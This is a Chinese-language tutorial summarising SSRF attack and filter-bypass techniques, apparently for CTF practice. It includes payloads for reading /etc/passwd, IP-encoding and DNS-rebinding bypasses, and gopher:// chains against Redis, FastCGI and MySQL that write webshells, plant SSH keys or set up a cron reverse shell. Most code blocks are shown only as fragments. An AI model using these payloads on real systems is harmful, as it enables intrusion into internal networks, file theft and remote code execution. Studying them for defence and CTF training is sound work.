SSRF 攻击与绕过技术总结
前言
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求、由服务端发起请求的安全漏洞。SSRF 的目标通常是外网无法直接访问的内网系统,配合各种协议可以演变为代码执行、文件读取、端口扫描等多种攻击方式。
一、常用协议及用途
| 协议 | 用途 | 示例 |
|---|---|---|
file:// |
读取本地文件 | file:///etc/passwd |
dict:// |
字典服务协议,端口扫描(比 ftp 快) | dict://192.168.1.1:6379/info |
ftp:// |
FTP 协议,端口扫描 / 文件传输 | ftp://vps/evil.txt |
sftp:// |
SSH 文件传输协议(安全 FTP) | sftp://vps/evil.txt |
ldap:// |
轻量级目录访问协议 | ldap://127.0.0.1:389/... |
tftp:// |
简单文件传输协议 | tftp://vps/evil.txt |
gopher:// |
分布式文档传输协议,可构造任意 TCP 数据包 | gopher://127.0.0.1:6379/_*1... |
http:// / https:// |
标准 HTTP,发起对内网 Web 服务的请求 | http://127.0.0.1/flag |
核心:
gopher://是 SSRF 中最强大的协议——可以构造任意 TCP payload,打 Redis、MySQL、FastCGI、SMTP 等几乎所有基于 TCP 的文本协议。
常见危险函数
1 | file_get_contents($url) // 读取 URL 内容,支持 file/gopher/http 等协议 |
二、信息收集
2.1 敏感文件读取(file:// 协议)
1 | file:///etc/passwd # 用户信息 |
2.2 端口扫描流程
- 用
dict://或http://对内网 IP 发起端口探测,根据响应时间判断端口是否开放 dict://协议扫描速度比ftp://更快- 再通过
/proc/net/arp或/etc/hosts验证扫描结果
1 | dict://172.16.0.1:22/info # SSH 端口 |
三、127.0.0.1 绕过
3.1 多样化的 IP 写法
1 | 127.0.0.1 # 标准形式 |
原理: 很多语言的 IP 解析库接受各种进制和简写形式。PHP 的
inet_pton和FILTER_VALIDATE_IP处理严格,但 curl /file_get_contents底层走 libcurl,支持多种写法。
3.2 短网址 / 域名跳转绕过
1 | sudo.cc # 解析到 127.0.0.1 的域名 |
3.3 xip.io / nip.io 泛域名
1 | http://10.1.1.3.xip.io # 解析到 10.1.1.3 |
3.4 @ 符号截断
1 | http://ctf.com@127.0.0.1/flag.php |
如果 WAF 只检查 URL 中是否包含 http://ctf 这类关键字,@ 可以在前面放一个合法的域名白名单,后半部分才是真实的攻击目标。
3.5 中文句号 / Unicode 特殊字符绕过
当 . 被过滤时,用 Unicode 全角句号 。 或 . 替代,部分解析库会将其归一化为 .:
1 | http://127。0。0。1/flag.php |
3.6 DNS 重绑定(DNS Rebinding)
利用 DNS TTL 极短(0 秒),让两次 DNS 解析返回不同 IP:
- 第一次解析 → 合法外网 IP(通过 WAF 的白名单检查)
- 第二次解析 →
127.0.0.1(实际发起请求时打到内网)
工具:https://lock.cmpxchg8b.com/rebinder.html
原理细节:
- 服务端收到 URL,调用 DNS 解析 → 得到外网 IP → 通过 IP 白名单检查
- 服务端发起真正的 HTTP 请求时,DNS 缓存已过期,重新解析 → 得到
127.0.0.1 - 请求发到了本机内网服务
3.7 302 跳转绕过(重定向)
当后端只允许传入外网 IP 时,在自己的 VPS 上部署一个 302 跳转脚本:
1 |
|
1 | # 攻击 payload |
注意: 需要 curl 开启了
CURLOPT_FOLLOWLOCATION才会跟随 302。file_get_contents默认不跟随,但可设置 stream context。
3.8 直接使用 IPv6
1 | http://[::1]/flag.php # IPv6 的 localhost |
四、Gopher 协议详解
Gopher 是 SSRF 中的核心武器——可以构造任意 TCP 数据包,几乎能打所有基于 TCP 的文本协议。
4.1 基本格式
1 | gopher://<host>:<port>/_<TCP data> |
4.2 URL 编码层级
这是最容易犯错的地方。数据经过两次传递:
1 | 攻击者 → Web 服务器(第一次 URL 解码)→ 内网目标(第二次 URL 解码,拿到原始数据) |
所以 gopher payload 需要对数据做两次 URL 编码:
- 第一次编码后的结果:服务器拿到后解码一次,恢复成内网服务能消化的原始协议数据
- 但内网服务收到的已经是解码后的了——所以实际上是对原始数据整体做一次 URL 编码即可
更简单的理解:把要发到内网的原始 HTTP/tcp 数据做一次 URL 编码,放在 gopher://127.0.0.1:80/_ 后面。如果中间有代理/WAF 会再解码一次,那就需要两次编码。用 Gopherus 工具自动生成最稳妥。
4.3 Gopherus 工具
Gopherus 是一个自动生成 gopher payload 的 Python 工具,支持:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcached
- SMTP
4.4 手动构造 — HTTP GET 请求
1 | 原始 HTTP 请求: |
4.5 手动构造 — HTTP POST 请求(含 XXE payload)
1 | POST /index.php HTTP/1.1 |
4.6 Gopher 打 Redis 未授权
Redis 是 SSRF 最常见的内网攻击目标之一。默认监听 127.0.0.1:6379,无密码认证。
方式一:写 Webshell
1 | # Redis 原始命令 |
通过 gopher 发送(经过 Gopherus 生成或手动构造 RESP 协议数据包)。
方式二:写入 SSH 公钥
1 | # 在攻击机生成密钥对 |
注意: 公钥内容前后需要加换行符,否则会和 Redis 的二进制数据粘连,导致 SSH 不识别。
方式三:计划任务反弹 shell(CentOS)
1 | config set dir /var/spool/cron/ |
限制: 仅在 root 权限下可行,且目标为 CentOS(Ubuntu 的 cron 格式不同)。Redis 写入文件时会在内容前后夹杂二进制数据,可能破坏 cron 格式导致不执行。此方式不稳定,优先用写 Webshell 或 SSH 公钥。
4.7 Gopher 打 MySQL(需认证凭据)
MySQL 的通信协议是二进制的,但如果有用户名密码,可以通过 SSRF 进行读取文件操作:
1 | -- 通过 MySQL 的 LOAD DATA LOCAL 特性(需要客户端开启) |
4.8 Gopher 打 FastCGI
FastCGI 默认监听 127.0.0.1:9000(PHP-FPM),不需要认证即可执行 PHP 代码:
1 | 构造 FastCGI 协议包,修改 PHP_VALUE 或 PHP_ADMIN_VALUE 参数: |
Gopherus 可以直接生成 FastCGI payload。
4.9 Gopher 打文件上传
如果内网有文件上传接口,可以通过 gopher 构造完整的 multipart 请求:
1 | POST /ssrf/upload.php HTTP/1.1 |
URL 编码后放在 gopher://127.0.0.1:80/_ 后面即可。
五、RESP 协议(Redis Serialization Protocol)
RESP 是 Redis 的通信协议,简单的文本协议。当需要手动构造 gopher payload 打 Redis 时,理解 RESP 格式很重要。
5.1 基本数据类型
| 类型 | 前缀 | 示例 |
|---|---|---|
| 简单字符串 | + |
+OK\r\n |
| 错误 | - |
-ERR unknown command\r\n |
| 整数 | : |
:1\r\n |
| 批量字符串 | $ |
$5\r\nhello\r\n |
| 数组 | * |
*3\r\n... |
5.2 编码规则
批量字符串:
1 | $5\r\n # 后面的字符串长度为 5 |
数组(多个命令组合):
1 | *3\r\n # 数组包含 3 个元素 |
5.3 手动将 Redis 命令转为 RESP
以 Redis 写 Webshell 为例:
1 | # 原始命令 |
转为 RESP 格式:
1 | *4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\nDIR\r\n$13\r\n/var/www/html\r\n |
然后整体做 URL 编码 → 拼到 gopher://127.0.0.1:6379/_ 后面。
QUIT 退出:
1 | *1\r\n$4\r\nQUIT\r\n |
工具推荐: Gopherus 可以一键生成 Redis / MySQL / FastCGI / Memcached 的 gopher payload,不需要手写 RESP。
六、DNS 重绑定绕过详解
6.1 原理
DNS 重绑定利用 DNS 协议中 TTL 为 0 的特性:
- 攻击者注册一个域名,设置 TTL = 0,DNS 设置为自己的恶意 DNS 服务器
- 受害者服务端做 URL 检查时,DNS 解析返回合法外网 IP(白名单通过)
- 检查通过后,TTL 到期 → 服务端再次发起请求时重新解析 → 返回
127.0.0.1 - 实际请求被导向内网
6.2 工具
https://lock.cmpxchg8b.com/rebinder.html— 在线 DNS Rebinding 生成器rebind.it— DNS rebinding 服务- 自建 DNS 服务器(更可控)
6.3 自建 DNS 服务器
1 | # dns_rebind.py — 自建 DNS 绑定服务器 |
更简单的方式是使用支持 rebinding 的在线服务,输入两个 IP 即可生成绑定域名。
七、综合利用链
7.1 SSRF → Redis → Webshell
1 | file_get_contents(url) → gopher://127.0.0.1:6379/_{RESP payload} |
7.2 SSRF → FastCGI → RCE
1 | curl_exec(url) → gopher://127.0.0.1:9000/_{FastCGI payload} |
7.3 SSRF → 内网 MySQL → 文件读取
1 | 已知 MySQL 用户名密码 → gopher://172.16.0.2:3306/_{MySQL payload} |
7.4 SSRF → SoapClient 反序列化 → 内网攻击
1 | unserialize(用户可控数据) → SoapClient 发起 HTTP 请求 |
总结速查
| 场景 | 方法 | 关键点 |
|---|---|---|
| 端口扫描 | dict://ip:port/info |
比 ftp 快;http:// 也可根据超时判断 |
| 读文件 | file:///path |
/proc/net/arp 发现内网 / /etc/passwd |
| 绕过 127.0.0.1 | 八进制 0177.0.0.01 / 十六进制 0x7F000001 / 十进制 2130706433 / 0 |
每种写法都可能绕过一个特定的过滤器 |
| 绕过域名白名单 | @ 截断 / 302 跳转 / DNS 重绑定 |
@ 最简单,DNS 重绑定最彻底 |
绕过 . 过滤 |
全角句号 。 / xip.io |
依赖解析器的容错 |
| 打 Redis | gopher:// + RESP 协议 |
写 Webshell / SSH 公钥 / 计划任务 |
| 打 FastCGI | gopher://127.0.0.1:9000 + FastCGI 协议 |
PHP-FPM 直接 RCE |
| 打 MySQL | gopher:// + MySQL 协议(需凭据) |
文件读取 / LOAD DATA |
| 文件上传 | gopher:// + multipart 构造 |
完整 HTTP POST 请求 |
| curl 不跟随 302 | CURLOPT_FOLLOWLOCATION 未开启 |
尝试 file:// / gopher:// 直接打 |
核心思路: SSRF 的本质是让服务器替你发请求。能不能 RCE,取决于内网有什么服务、支持什么协议、以及你能控制多少请求内容。gopher 协议把”控制请求内容”做到了极致——包体、包头全部可控。